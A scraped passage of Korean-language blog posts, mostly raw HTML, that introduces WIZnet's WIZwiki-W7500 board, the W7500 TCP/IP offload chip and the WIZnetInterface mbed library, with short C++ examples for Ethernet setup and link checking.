class="cpp hljs" data-origin="<pre><code class="cpp">#include "mbed.h"
#include "EthernetInterface.h"
DigitalOut myled(LED1);
// Initialize the Ethernet client library
EthernetInterface eth;
int main() {
// Enter a MAC address for your controller below.
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x00, 0x01, 0x02};
// initializing MAC address
eth.init(mac_addr);
// Check Ethenret Link
if(eth.link() == true)
printf("- Ethernet PHY Link-Done \r\n");
else
printf("- Ethernet PHY Link- Fail\r\n");
// Start Ethernet connecting
if ( eth.connect() &lt; 0 )
printf("Fail - Ethernet Connecing");
else
{
// Print your local IP address:
printf("IP=%s\n\r",eth.getIPAddress());
printf("MASK=%s\n\r",eth.getNetworkMask());
printf("GW=%s\n\r",eth.getGateway());
}
while(1) {
myled = 1;
wait(0.2);
myled = 0;
wait(0.2);
}
}
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;display: block; overflow-x: auto; padding: 0.5em; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); background-position: initial initial; background-repeat: initial initial;"><span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "mbed.h"</span>
<span class="hljs-preprocessor" style="color: rgb(153, 153, 153); font-weight: bold;">#<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">include</span> "EthernetInterface.h"</span>
DigitalOut myled(LED1);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Initialize the Ethernet client library</span>
EthernetInterface eth;
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">int</span> main() {
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Enter a MAC address for your controller below.</span>
uint8_t mac_addr[<span class="hljs-number" style="color: rgb(0, 128, 128);">6</span>] = {<span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x08</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0xDC</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x01</span>, <span class="hljs-number" style="color: rgb(0, 128, 128);">0x02</span>};
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// initializing MAC address</span>
eth.init(mac_addr);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Check Ethenret Link</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span>(eth.link() == <span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">true</span>)
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"- Ethernet PHY Link-Done \r\n"</span>);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"- Ethernet PHY Link- Fail\r\n"</span>);
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Start Ethernet connecting</span>
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">if</span> ( eth.connect() < <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span> )
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"Fail - Ethernet Connecing"</span>);
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">else</span>
{
<span class="hljs-comment" style="color: rgb(153, 153, 136); font-style: italic;">// Print your local IP address:</span>
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"IP=%s\n\r"</span>,eth.getIPAddress());
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"MASK=%s\n\r"</span>,eth.getNetworkMask());
<span class="hljs-built_in" style="color: rgb(0, 134, 179);">printf</span>(<span class="hljs-string" style="color: rgb(221, 17, 68);">"GW=%s\n\r"</span>,eth.getGateway());
}
<span class="hljs-keyword" style="color: rgb(51, 51, 51); font-weight: bold;">while</span>(<span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>) {
myled = <span class="hljs-number" style="color: rgb(0, 128, 128);">1</span>;
wait(<span class="hljs-number" style="color: rgb(0, 128, 128);">0.2</span>);
myled = <span class="hljs-number" style="color: rgb(0, 128, 128);">0</span>;
wait(<span class="hljs-number" style="color: rgb(0, 128, 128);">0.2</span>);
}
}
</code></pre></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-34279251238844884172015-07-05T18:41:00.000-07:002015-07-05T18:41:22.676-07:00List of Ethernet Shield Tutorials for IoT platform<div class="storify"><iframe src="//storify.com/embeddist/iot-platform-for-end-device/embed?border=false" width="100%" height="750" frameborder="no" allowtransparency="true"></iframe><script src="//storify.com/embeddist/iot-platform-for-end-device.js?border=false"></script><noscript>[<a href="//storify.com/embeddist/iot-platform-for-end-device" target="_blank">View the story "List of Ethernet Shield Tutorials for IoT platform" on Storify</a>]</noscript></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-22795484949303466852015-07-01T18:28:00.000-07:002015-07-01T18:28:49.609-07:00WIZwiki_W7500<div style="background-color: rgb(255, 255, 255); font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important;padding: 20px;padding: 20px; color: rgb(0, 0, 0); font-size: 15px; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', AppleSDGothicNeo-Medium, 'Segoe UI', 'Malgun Gothic', Verdana, Tahoma, sans-serif; background-color: rgb(255, 255, 255); -webkit-font-smoothing: antialiased; background-position: initial initial; background-repeat: initial initial;">
<h2 id="overview" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;margin-top: 0px;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="overview" href="#overview" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Overview</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a href="http://www.wiznet.co.kr/product-item/wizwiki-w7500/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">WIZwiki-W7500</a>은 WIZnet의 <a href="http://www.wiznet.co.kr/product-item/W7500/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">W7500</a>을 기반으로한다. “Internet Offload Platform for IoT”을 표방하는 W7500 chip은 ARM Cortex-M0에 TCP/IP Offload Engine(TOE)를 SoC한 one-Chip Soulution이다. W7500은 TOE를 장착하고 있기 때문에 ARM Corte-M0로 Software TCP/IP의 지원없이도 Internet에 간단히 접속할 수 있습니다. </p><p style="margin: 1em 0px; word-wrap: break-word;">또한, WIZwiki_W7500은 Arduino Shield와 pin Compatible로 Arduino Shield를 사용하는데 용이하다. 그리고 CMSIS-DAP USB를 지원하여 ARM mbed Web-IDE에서 Programming과 Virtual-Serial Port를 지원하며, Keil/IAR의 IDE를 과는 Programming물론 Debugging이 가능하다. </p><h2 id="block-diagram" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="block-diagram" href="#block-diagram" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Block Diagram</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><a href="https://www.flickr.com/photos/129289794@N06/18717054284" title="WIZwiki_W7500_block by Roy Kim, on Flickr" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://c1.staticflickr.com/1/446/18717054284_571f750387.jpg" width="500" height="334" alt="WIZwiki_W7500_block" style="max-width: 100%;"></a></p><p style="margin: 1em 0px; word-wrap: break-word;">WIZwiki_W7500은 그림과 같이 크게 W7500, CMSIS-DAP, Ethernet port(RJ45)+PHY 3부분으로 구성된다.</p><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="http://www.wiznet.co.kr/product-item/W7500/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">W7500</a></p>
<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code data-origin="<pre><code> ARM® Cortex™-M0 Core기반에 다수의 peripherals포함하고 있다. 다른 Vendor의 Microcontroller들과 차이점은 peripherals 중 MAC laye가 포함된 TCP/IP Offload Engine(TOE)를 탑재하고 있다는 것이다.
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;"> ARM® Cortex™-M0 Core기반에 다수의 peripherals포함하고 있다. 다른 Vendor의 Microcontroller들과 차이점은 peripherals 중 MAC laye가 포함된 TCP/IP Offload Engine(TOE)를 탑재하고 있다는 것이다.
</code></pre></li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="https://developer.mbed.org/handbook/CMSIS-DAP" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">CMSIS-DAP</a></p>
<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code data-origin="<pre><code> 간단하게 Debugger Interface로 이해하면 된다. LPC11u35칩에 W7500의 program algorithm 내장한 CMSIS-DAP는 개발용 PC와 USB Cable를 통해 연결된다. 연결된 PC쪽에서는 WIZwiki_W7500 Board를 USB Drive인식 하도록 되어 있다. 물론 이를 위에 아래에 "How to write the firmware"참고하여 CMSIS-DAP용 Driver를 PC에 인스톨해야한다. USB Driver에 Bin을 Copy하는 식으로 Firmware의 업데이트가 가능하다. 또한 CMSIS-DAP은 Virtual COM를 지원하기 때문에 USB-to-Serial Port없이 CMSIS-DAP port로 WIZwiki_W7500의 UART Output/Input를 Control할 수 있다.
CMSIS-DAP의 Algorithm의 변경은 LPC11u35칩의 Firmware를 update하면 되며 아래의 "How to write the firmware to CMSIS-DAP"를 참고한다.
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;"> 간단하게 Debugger Interface로 이해하면 된다. LPC11u35칩에 W7500의 program algorithm 내장한 CMSIS-DAP는 개발용 PC와 USB Cable를 통해 연결된다. 연결된 PC쪽에서는 WIZwiki_W7500 Board를 USB Drive인식 하도록 되어 있다. 물론 이를 위에 아래에 "How to write the firmware"참고하여 CMSIS-DAP용 Driver를 PC에 인스톨해야한다. USB Driver에 Bin을 Copy하는 식으로 Firmware의 업데이트가 가능하다. 또한 CMSIS-DAP은 Virtual COM를 지원하기 때문에 USB-to-Serial Port없이 CMSIS-DAP port로 WIZwiki_W7500의 UART Output/Input를 Control할 수 있다.
CMSIS-DAP의 Algorithm의 변경은 LPC11u35칩의 Firmware를 update하면 되며 아래의 "How to write the firmware to CMSIS-DAP"를 참고한다.
</code></pre></li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">RJ45+PHY</p>
<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; overflow: auto;"><code data-origin="<pre><code> 이 부분은 Ethernet PHY Layer로 W7500은 PHY를 내장하지 않기 때문에 Internet에 연결하기 위해 External PHY가 반드시 필요하다.
</code></pre>" style="display: block;border: 1px solid rgb(204, 204, 204); white-space: pre; padding: 0.5em; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-break: break-all; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 0.9em; font-family: Consolas, Inconsolata, Courier, monospace;"> 이 부분은 Ethernet PHY Layer로 W7500은 PHY를 내장하지 않기 때문에 Internet에 연결하기 위해 External PHY가 반드시 필요하다.
</code></pre></li>
</ul><h2 id="features" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="features" href="#features" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Features</h2><ul>
<li style="display: list-item; line-height: 1.4em;">WIZnet W7500</li>
<li style="display: list-item; line-height: 1.4em;">ARM® Cortex™-M0 Core upto 48MHz</li>
<li style="display: list-item; line-height: 1.4em;">128KB Flash memory</li>
<li style="display: list-item; line-height: 1.4em;">16KB to 48 KB SRAM</li>
<li style="display: list-item; line-height: 1.4em;"><strong class="highlight" style="color: black; padding: 0px 5px; background-color: rgb(253, 255, 182); -webkit-box-shadow: rgb(253, 255, 182) 0px 0px 5px; box-shadow: rgb(253, 255, 182) 0px 0px 5px;"><em> Hardwired TCP/IP Core (8 Sockets, MII: Medium-Independent Interface)</em></strong></li>
<li style="display: list-item; line-height: 1.4em;">12-bit, 8ch ADC</li>
<li style="display: list-item; line-height: 1.4em;">53 I/Os</li>
<li style="display: list-item; line-height: 1.4em;">1ch Watchdog, 4ch Timers and 8ch PWM</li>
<li style="display: list-item; line-height: 1.4em;">3ch UART</li>
<li style="display: list-item; line-height: 1.4em;">2ch SPI</li>
<li style="display: list-item; line-height: 1.4em;">2ch I2C</li>
<li style="display: list-item; line-height: 1.4em;">Arduino form-factor</li>
<li style="display: list-item; line-height: 1.4em;">Compatible with a wide range of commercially available shields</li>
<li style="display: list-item; line-height: 1.4em;">CMSIS-DAP interface firmware</li>
<li style="display: list-item; line-height: 1.4em;">Built-in USB drag ‘n’ drop FLASH programmer</li>
<li style="display: list-item; line-height: 1.4em;">USB Virtual COM port for serial terminal<ul>
<li style="display: list-item; line-height: 1.4em;">CMSIS-DAP interface for programming and debugging from offline tools</li>
</ul>
</li>
</ul><h2 id="pinout" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="pinout" href="#pinout" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Pinout</h2><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;"><img src="https://developer.mbed.org/media/uploads/justinkim/xwizwiki_w7500_pinout_mbed_150701_simple2.png.pagespeed.ic.YIg4s7KYuW.png" alt="pin map" style="max-width: 100%;"></p><h2 id="resources-on-armmbed" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230); line-height: 1.7em;"><a name="resources-on-armmbed" href="#resources-on-armmbed" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Resources on ARMmbed</h2><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Get Started</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><a href="https://developer.mbed.org/teams/WIZnet/wiki/How-to-start-WIZwiki-W7500-Board" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">How to start WIZwiki-W7500 Board</a></li>
<li style="display: list-item; line-height: 1.4em;"><a href="https://developer.mbed.org/teams/WIZnet/wiki/How-to-install-WIZwiki-W7500-serial-driv" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">How to install serial driver of WIZwiki-W7500</a></li>
<li style="display: list-item; line-height: 1.4em;"><a href="https://developer.mbed.org/teams/WIZnet/wiki/How-to-write-the-firmware-into-WIZwiki-W" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">How to write the firmware</a></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Update or Restore Firmware</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><a href="https://developer.mbed.org/teams/WIZnet/wiki/How-to-write-the-firmware-to-CMSIS-DAP" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">How to write the firmware to CMSIS-DAP</a></li>
</ul>
</li>
</ul></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-9821855973005137042015-07-01T16:20:00.000-07:002015-07-01T16:34:29.224-07:00ARMmbed WIZnetInterface<div style="-webkit-font-smoothing: antialiased; background-color: white; background-color: white; background-position: initial initial; background-repeat: initial initial; color: black; font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', AppleSDGothicNeo-Medium, 'Segoe UI', 'Malgun Gothic', Verdana, Tahoma, sans-serif; font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; font-size: 15px; margin: 0px !important; overflow-x: hidden; overflow-y: auto; padding: 20px; padding: 20px; padding: 5px 20px 26px !important;">
<h1 id="wiznetinterface" style="clear: both; font-size: 2.2em; font-weight: bold; margin-top: 0px; margin: 1.5em 0px 1em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#wiznetinterface" name="wiznetinterface" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>WIZnetInterface</h1>
<div style="margin-top: 0px; margin: 1em 0px; word-wrap: break-word;">
WIZnet Ethernet Interface using Hardware TCP/IP chip, W5500 and TCP/IP Offload Engine, W7500.<br style="clear: both;" /><a href="https://developer.mbed.org/users/embeddist/code/WIZnetInterface/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Users » embeddist » Code » WIZnetInterface</a></div>
<h2 id="wiznetinterface-?" style="border-bottom-color: rgb(230, 230, 230); border-bottom-style: solid; border-bottom-width: 1px; clear: both; font-size: 1.8em; font-weight: bold; line-height: 1.7em; margin: 1.275em 0px 0.85em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#wiznetinterface-?" name="wiznetinterface-?" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>WIZnetInterface ?</h2>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
EthernetInterface in ARM mbed<br style="clear: both;" />mbed.org는 <a href="https://developer.mbed.org/handbook/Ethernet" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Handbook>>Ethernet</a>에 ARM mbed platform들이 Internet에 Connecting하기 위한 Network Library인 EthernetInterface를 제공하고 있다. EthernetInterface는 TCP/IP Software stack으로 <a href="http://savannah.nongnu.org/projects/lwip/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">lwIP</a>을 채택하고 있다. </div>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
WIZnet TCP/IP Offload Engine<br style="clear: both;" />아래의 그림과 같이 TOE는 TCP이하의 Network Layer가 Hardware적으로 설계되어 있어 Operating System과 Microcontroller의 Networking을 위한 리소스와 메모리를 최소화 해준다. 따라서, 리소스가 제한되는 Low-end IoT Device에서 TOE의 기능이 탑재한 MCU혹은 TOE를 채택한 System은 보다 Networking 이외의 기능들에 최적화 시킬 수 있다.<br style="clear: both;" /><img alt="TCP/IP Offload Engine" src="https://embeddist.files.wordpress.com/2015/06/18142730879_2b62a39e4f.jpg" style="max-width: 100%;" /></div>
<blockquote style="border-left-color: rgb(230, 230, 230); border-left-style: solid; border-left-width: 4px; font-style: italic; margin: 1em 20px; padding: 0px 15px;">
<div style="margin-bottom: 0px; margin-top: 0px; margin: 1em 0px; word-wrap: break-word;">
<strong><a href="https://embeddist.wordpress.com/2015/06/02/network-performance-of-soc-with-tcpip-offload-engine-w7500-3/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Ref. Network performance of SoC with TCP/IP Offload Engine, W7500</a></strong></div>
</blockquote>
</li>
</ul>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
과연, ARM mbed에서 이러한 TOE를 적용한 Platform혹은 Components 있나?<br style="clear: both;" />있습니다. 있고요.<br style="clear: both;" />Platform으로는 W7500이 적용된 WIZwiki_W7500이 있습니다.<br style="clear: both;" />Component로는 W5500이 적용된 W5500 Ethernet Shield가 있습니다. 둘다 <strong>made in 대한민국!</strong></div>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
Platforms: WIZwiki_W7500 </div>
<ul>
<li style="display: list-item; line-height: 1.4em;"><a href="http://https//developer.mbed.org/platforms/WIZwiki-W7500/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Platforms » WIZwiki-W7500</a><br style="clear: both;" /><img alt="WIZwiki_W7500" src="https://developer.mbed.org/media/cache/platforms/250x250xWIZwiki_w7500_mbed_9tvChi0.png.250x250_q85.jpg.pagespeed.ic.QVNZFUwNXg.webp" style="max-width: 100%;" /></li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
Components: W5500 Ethernet Shield</div>
<ul>
<li style="display: list-item; line-height: 1.4em;"><a href="https://developer.mbed.org/components/W5500-Ethernet-Kit-for-IoT/" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">Components » Communication » Ethernet » W5500 Ethernet Kit for IoT</a><br style="clear: both;" /><img alt="W5500 Ethernet Shield" src="https://developer.mbed.org/media/cache/components/components/200x181xfetch.phpmediaoshw5500_ethernet_shieldw5500_main_picture2.png.200x200_q85.jpg.pagespeed.ic.IBFzetSlhD.webp" style="max-width: 100%;" /></li>
</ul>
</li>
</ul>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
그럼, 이렇게 TOE가 적용된 Platform과 Component들도 EthernetInterface를 사용하나?<br style="clear: both;" />아니요. TOE가 적용된 Platform과 Component는 WIZnetInterface를 사용해야 합니다.<br style="clear: both;" /><a href="https://www.flickr.com/photos/129289794@N06/18703438643" style="color: #3269a0; text-decoration: none; vertical-align: baseline;" title="WIZnetInterface by Roy Kim, on Flickr"><img alt="WIZnetInterface" height="245" src="https://c1.staticflickr.com/1/377/18703438643_f71b1e5d7b.jpg" style="max-width: 100%;" width="358" /></a><br style="clear: both;" />WIZnetInterface는 위의 그림처러 TOE Driver를 mbed Ethernet Interface기반으로 포팅하였습니다. 따라서, ARM mbed에서 EthernetInterface를 적용한 program을 WIZnetInterface로 replace하는 것이 가능합니다. </div>
</li>
</ul>
<h2 id="what-is-new?" style="border-bottom-color: rgb(230, 230, 230); border-bottom-style: solid; border-bottom-width: 1px; clear: both; font-size: 1.8em; font-weight: bold; line-height: 1.7em; margin: 1.275em 0px 0.85em;">
<a href="https://www.blogger.com/blogger.g?blogID=143079075104332374#what-is-new?" name="what-is-new?" style="color: #3269a0; text-decoration: none; vertical-align: baseline;"></a>What is new?</h2>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
W7500과 W5500을 어떻게 선택하나<br style="clear: both;" />eth_arch.h을 추가하여 Web-IDE에서 platform을 선택하면 Target Platform에 따라 자동적으로 W7500혹은 W5500을 적용할 수 있다. W5500과 W7500이 통합된 Library이지만 둘 중 하나를 선택하기 위해 여분의 Configuration이 필요없다. </div>
<pre style="border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; overflow: auto; word-break: break-all; word-wrap: break-word;"><code class="cpp hljs" data-origin="<pre><code class="cpp">#if defined(TARGET_WIZwiki_W7500)
#include "W7500x_toe.h"
#define __DEF_USED_IC101AG__ //For using IC+101AG@WIZwiki-W7500
#else
#include "W5500.h" // W5500 Ethernet Shield
//#define USE_WIZ550IO_MAC // WIZ550io; using the MAC address
#endif
</code></pre>" style="background-color: #f8f8f8; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(204, 204, 204); color: #333333; display: block; display: block; font-family: Consolas, Inconsolata, Courier, monospace; font-size: 0.9em; margin: 0px 2px; margin: 0px; overflow-x: auto; padding: 0.5em; padding: 0.5em; padding: 0px 5px; white-space: pre; word-break: break-all; word-wrap: break-word;"><span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span> defined(TARGET_WIZwiki_W7500)</span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">include</span> "W7500x_toe.h"</span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">define</span> __DEF_USED_IC101AG__ <span class="hljs-comment" style="color: #999988; font-style: italic;">//For using IC+101AG@WIZwiki-W7500</span></span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">else</span></span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">include</span> "W5500.h" <span class="hljs-comment" style="color: #999988; font-style: italic;">// W5500 Ethernet Shield </span></span>
<span class="hljs-comment" style="color: #999988; font-style: italic;">//#define USE_WIZ550IO_MAC // WIZ550io; using the MAC address</span>
<span class="hljs-preprocessor" style="color: #999999; font-weight: bold;">#<span class="hljs-keyword" style="color: #333333; font-weight: bold;">endif</span></span>
</code></pre>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
PHY링크를 어떻게 설정하고 확인하나<br style="clear: both;" />Ethernet PHY는 아래의 그림과 같이 RJ45의 Link LED와 Active LED를 이용하여 육안으로 확인이 가능하다. Embedded system에서는 MCU의 GPIO에 Link와 Active Signal을 연결하거나 <a href="https://en.wikipedia.org/wiki/Management_Data_Input/Output" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">MDIO Interface</a>를 확인 할 수 있다.<br style="clear: both;" /><img alt="PHY link" src="http://www.avtech.com/Support/modules/KB/Image/Image/166_RA_LEDs/Ethernet_LEDs_NormalOperation_BothTypes.gif" style="max-width: 100%;" /><br style="clear: both;" /><em>(<a href="http://www.avtech.com/Support/modules/KB/Image/Image/166_RA_LEDs/Ethernet_LEDs_NormalOperation_BothTypes.gif" style="color: #3269a0; text-decoration: none; vertical-align: baseline;">http://www.avtech.com/Support/modules/KB/Image/Image/166_RA_LEDs/Ethernet_LEDs_NormalOperation_BothTypes.gif</a>)</em><br style="clear: both;" />EthernetInterface에서 이러한 기능을 위해 link()와 set_link()를 제공하고 WIZnetInterface에서도 이 API를 제공하고 있다. </div>
<ul>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
link()<br style="clear: both;" />PHY링크를 확인할 수 있는 함수 return값이 True이면 Link이고, Fail이면 Link-Fail이다 </div>
<pre style="border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; overflow: auto; word-break: break-all; word-wrap: break-word;"><code class="cpp hljs" data-origin="<pre><code class="cpp"> * Check if an ethernet link is pressent or not.
*
* @returns true if successful
*/
bool link(int wait_time_ms= 3*1000);
</code></pre>" style="background-color: #f8f8f8; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(204, 204, 204); color: #333333; display: block; display: block; font-family: Consolas, Inconsolata, Courier, monospace; font-size: 0.9em; margin: 0px 2px; margin: 0px; overflow-x: auto; padding: 0.5em; padding: 0.5em; padding: 0px 5px; white-space: pre; word-break: break-all; word-wrap: break-word;"> * Check <span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span> an ethernet link is pressent or not.
*
* @returns <span class="hljs-keyword" style="color: #333333; font-weight: bold;">true</span> <span class="hljs-keyword" style="color: #333333; font-weight: bold;">if</span> successful
*/
